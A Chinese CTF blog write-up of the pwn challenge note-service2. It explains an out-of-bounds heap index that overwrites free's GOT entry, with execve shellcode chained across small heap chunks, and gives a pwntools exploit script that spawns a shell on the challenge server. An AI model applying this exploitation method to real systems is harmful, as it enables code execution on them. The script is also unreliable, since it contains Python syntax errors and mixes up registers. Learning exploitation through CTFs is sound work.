堆指针越界&堆上布置shellcode|攻防世界pwn进阶区 note-service2

前言

目前CTF竞赛中,以堆为背景的pwn题已逐步成为了pwn类型题目中的主流,开始逐步接触堆题,本题涉及到在堆上布置shellcode,并利用堆指针使程序执行流得到控制。

思路分析

0x00.检查保护机制

在这里插入图片描述

Canary found:不能用溢出的方式控制程序执行
NX disabled:堆栈上数据可执行
PIE enabled:地址随机化开启

0x01.查看程序功能

在这里插入图片描述

一个简单的菜单题,add 和 del可以用,show和edit功能不可用

0x02.ida查看逻辑

在这里插入图片描述
在这里插入图片描述
获得以下信息:

  • 堆块最大为8字节,但是我们只能写入7字节的数据
  • 堆指针的下标可以越界

0x03.利用思路

(1)通过堆指针越界,把一些GOT表表项替换成堆指针
(2)因为NX 关闭,堆栈数据可以执行,直接在堆栈上布置shellcode
(3)每个堆块可以写入7个字节的数据,3个字节留作布置jmp short xxx(jmp short占两个字节,对应的机器码是\xeb,xxx对应1字节,且jmp short xxx是相对当前位置寻址),4个字节用于布置shellcode。
(4)要把shellcode分开布置在多个堆块上面。

jmp short xxx 中,xxx=目标地址-当前地址-2

利用过程

0x00.选一段shellcode布置在堆上

mov rdi, xxx   //xxx=&("/bin/sh")  
xor rsi,rsi   //rsi=0,实际可以是mov rsi, 0 但是mov这个命令太长了。下同。占2字节
mov rax, 0x3b //rax=0x3b 占4字节
xor rdx,rdx   //rdx=0 占2字节
syscall //就是syscall调用execve("/bin/sh",0,0)

jmp short 占2个字节
jmp short xxx占3个字节

0x01.计算jmp short指令要跳多少字节

在这里插入图片描述
从chunk0跳到chunk1,
目标地址-当前地址=8+8+8+1+2=0x1B
xxx=0x1B-2=0x19
即从当前chunk的jmp区跳到下一个chunk的data区,距离是0x19
jmp short 0x19转换成机器码是 \xeb\x19

0x02.shellcode转换为asm格式

asm("xor rsi,rsi")+"\x90\x90\xeb\x19"
asm("mov rax,0x3b")+"\xeb\x19"
asm("xor rdx,rdx")+"\x90\x90\xeb\x19"
asm("syscall").ljust(7,"\x90")

我们无法写出 asm(“mov rdi,&(”/bin/sh")")这样的指令,即不能把"/bin/sh"的地址直接传给rdi

0x03.通过64位传参机制把&("/bin/sh")传到rdi

由0x02知,我们不能直接把"/bin/sh"的地址给rdi
解决办法:

  • 申请一个堆块A,把"/bin/sh"写到A上
  • 调用free函数,把堆块A的内容(即"/bin/sh"地址)当作free函数的参数,因为第一个参数会传到rdi里面去,这样,rdi=&("/bin/sh")
  • 修改free函数的got表,使调用free函数之后的程序流转到我们布置shellcode的堆块上,依次执行shellcode

0x04.计算free的got地址和堆数组静态地址的距离

在这里插入图片描述
在这里插入图片描述
数组到free的got表的距离:0x2020A0-0x202018=0x88
0x88/8=17字节
即数组下标减17就来到了free的got表地址

0x05. 尝试写exp:

from pwn import *
r=remote("111.198.29.45",48323)
context(log_level='debug',arch='amd64',os='linux')
def add(index,content):
    r.recvuntil("your choice>>")
    r.sendline("1")
    r.recvuntil("index:")
    r.sendline(str(index))
    r.recvuntil("size:")
    r.sendline("8")
    r.recvuntil("content:")
    r.sendline(content)

def del(index):
    r.recvuntil("your choice>>")
    r.sendline("4")
    r.recvuntil("index:")
    r.sendline(str(index))

add(0,"/bin/sh") //申请堆块写入'/bin/sh'
add(-17,asm("xor rsi,rsi")+"\x90\x90\xeb\x19") //传入&('/bin/sh')并改写got表
add(1,asm("mov eax,0x3b")+"\xeb\x19")
add(2,asm("xor rdx,rdx")+"\x90\x90\xeb\x19")
add(3,asm("syscall").ljust(7,"\x90"))//系统调用

del(0) //这一步我觉得应该是给syscall传参
r.interactive()

参考blog:
攻防世界pwn之note-service
攻防世界PWN之note-service2题解

发布了107 篇原创文章 · 获赞 68 · 访问量 7776

猜你喜欢

转载自blog.csdn.net/weixin_43092232/article/details/104941534